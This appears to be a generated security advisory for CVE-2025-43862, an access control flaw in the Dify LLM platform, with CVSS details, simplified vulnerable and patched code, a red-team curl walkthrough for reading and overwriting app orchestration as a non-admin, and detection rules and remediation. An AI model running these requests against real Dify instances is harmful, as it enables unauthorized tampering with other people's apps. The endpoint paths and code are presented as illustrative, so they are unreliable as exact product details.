CVE-2025-43862
Executive Summary
CVE-2025-43862 is an access control vulnerability in Dify, an open-source LLM app development platform. Prior to version 0.6.12, a normal (non-admin) user is able to access and modify APP orchestration, even though the web UI for orchestration is not presented to them. This flaw allows unauthorized users to make changes to application configurations, potentially leading to data manipulation, service disruption, or further compromise. The vulnerability has been patched in version 0.6.12, and a workaround involves manually enforcing stricter RBAC policies.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Dify is distributed as a Docker image and via GitHub releases. The vulnerability exists in the application's backend API, which does not properly validate user roles before allowing access to orchestration endpoints. Users who deploy Dify via Docker, Kubernetes, or direct installation are affected. The package itself is not compromised, but the default configuration lacks proper access controls.
CVSS Breakdown & Threat Level
- CVSS Score: 7.6 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – a valid non-admin account is needed.
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H) – unauthorized access to orchestration data.
- Integrity Impact: High (I:H) – unauthorized modification of app configurations.
- Availability Impact: None (A:N)
Threat Level: High. The vulnerability is easy to exploit with low privileges and can lead to significant data and configuration compromise.
Deep Dive & Mechanics
The vulnerability stems from improper access control checks in the backend API endpoints responsible for managing APP orchestration. In Dify, the web UI hides the orchestration interface from non-admin users, but the underlying API does not enforce the same restriction. A normal user can directly call API endpoints (e.g., /api/apps/{id}/orchestration) to read or modify the orchestration configuration.
The flaw is in the authorization middleware or lack thereof. The application likely checks for authentication but fails to verify that the user has the admin role before allowing access to orchestration-related operations. This allows any authenticated user to:
- View the orchestration workflow (prompts, models, parameters).
- Modify the orchestration workflow (change prompts, swap models, alter parameters).
- Potentially inject malicious prompts or change model behavior.
The attack flow:
- Attacker logs in as a normal user.
- Attacker sends a GET request to
/api/apps/{app_id}/orchestrationto view the configuration. - Attacker sends a PUT/POST request to the same endpoint to modify the configuration.
- The changes take effect immediately, affecting all users of the app.
Vulnerable vs. Patched Code
Vulnerable Code (pre-0.6.12):
# Example vulnerable endpoint (simplified)
@app.route('/api/apps/<app_id>/orchestration', methods=['GET', 'PUT'])
@login_required
def orchestration(app_id):
# No role check
if request.method == 'GET':
return get_orchestration(app_id)
elif request.method == 'PUT':
return update_orchestration(app_id, request.json)
Patched Code (0.6.12+):
# Example patched endpoint (simplified)
@app.route('/api/apps/<app_id>/orchestration', methods=['GET', 'PUT'])
@login_required
@admin_required # New decorator
def orchestration(app_id):
if request.method == 'GET':
return get_orchestration(app_id)
elif request.method == 'PUT':
return update_orchestration(app_id, request.json)
The @admin_required decorator checks the user's role and returns a 403 Forbidden if the user is not an admin.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Dify instance running version < 0.6.12.
- A valid non-admin user account (e.g.,
user@example.comwith passwordpassword123).
Exploitation Steps:
Authenticate and obtain a session token:
curl -X POST https://dify-instance/api/login \ -H "Content-Type: application/json" \ -d '{"email":"user@example.com","password":"password123"}'Save the session cookie or token.
List available apps:
curl -X GET https://dify-instance/api/apps \ -H "Cookie: session=your_session_token"Note the
app_idof the target app.View orchestration configuration:
curl -X GET https://dify-instance/api/apps/{app_id}/orchestration \ -H "Cookie: session=your_session_token"Modify orchestration configuration (e.g., change the prompt):
curl -X PUT https://dify-instance/api/apps/{app_id}/orchestration \ -H "Cookie: session=your_session_token" \ -H "Content-Type: application/json" \ -d '{"prompt": "New malicious prompt"}'
Expected Outcome: The attacker can read and modify the app's orchestration without admin privileges.
Blue Team
Detection Steps:
Monitor API logs for unauthorized access to orchestration endpoints.
- Look for requests to
/api/apps/*/orchestrationfrom non-admin users. - Alert on any PUT/POST requests to these endpoints from users without the
adminrole.
- Look for requests to
Audit user roles and permissions.
- Ensure that only users with the
adminrole have access to orchestration. - Review user accounts for any unexpected privilege escalations.
- Ensure that only users with the
Check for unexpected changes in app behavior.
- Monitor app responses for sudden changes in prompts, models, or parameters.
- Compare current orchestration configuration with a known good baseline.
Hunting Query (Splunk):
index=main sourcetype=dify_api
| search uri="/api/apps/*/orchestration" method IN (GET, PUT, POST)
| eval is_admin=if(role="admin", "yes", "no")
| where is_admin="no"
| table _time, user, method, uri, status
Indicators of Compromise (IOCs)
Network IOCs:
- Unusual API calls to
/api/apps/*/orchestrationfrom non-admin users. - Repeated 403 errors followed by successful 200 responses on orchestration endpoints (indicating privilege escalation attempts).
- Unusual API calls to
File IOCs:
- Modified orchestration configuration files (e.g.,
orchestration.json) in the Dify data directory. - Unexpected changes in app workflow definitions.
- Modified orchestration configuration files (e.g.,
Log IOCs:
- Log entries showing
GET /api/apps/*/orchestrationorPUT /api/apps/*/orchestrationfrom users without theadminrole. - Audit logs showing role changes or permission modifications.
- Log entries showing
Detection Engineering
YARA Rule
rule detect_dify_orchestration_exploit {
meta:
description = "Detects attempts to exploit CVE-2025-43862 by accessing orchestration endpoints without admin role"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-43862"
strings:
$s1 = "/api/apps/" ascii wide nocase
$s2 = "/orchestration" ascii wide nocase
$s3 = "PUT" ascii wide nocase
$s4 = "GET" ascii wide nocase
condition:
all of ($s1, $s2) and any of ($s3, $s4)
}
Sigma Rule
title: Dify Orchestration Unauthorized Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects non-admin users accessing or modifying Dify app orchestration endpoints
author: Valters IT
date: 2025-04-10
references:
- CVE-2025-43862
logsource:
category: web
product: dify
detection:
selection:
uri|contains: "/api/apps/"
uri|contains: "/orchestration"
method:
- 'GET'
- 'PUT'
- 'POST'
filter:
role: 'admin'
condition: selection and not filter
falsepositives:
- Legitimate admin users
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-43862 - Dify Orchestration Unauthorized Access";
flow:to_server,established;
content:"/api/apps/"; http_uri;
content:"/orchestration"; http_uri;
pcre:"/(GET|PUT|POST)/i";
classtype:attempted-admin;
sid:1000001;
rev:1;
reference:cve,2025-43862;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Dify to version 0.6.12 or later. This is the official patch that adds proper RBAC checks.
- If upgrade is not possible, implement a workaround: Manually update the access control mechanisms to enforce stricter user role permissions. This can be done by modifying the backend code to add role checks before allowing access to orchestration endpoints.
- Review and audit all user accounts. Ensure that only necessary users have admin privileges. Remove any unused or suspicious accounts.
Long-term Mitigations:
- Implement Role-Based Access Control (RBAC) across all sensitive operations.
- Conduct regular security audits of API endpoints to ensure proper authorization.
- Use a Web Application Firewall (WAF) to block unauthorized access attempts to orchestration endpoints.
- Monitor logs for any signs of exploitation and set up alerts for suspicious activity.
Valters IT Signature
This report was generated by Valters IT DevSecOps & CTI Expert System.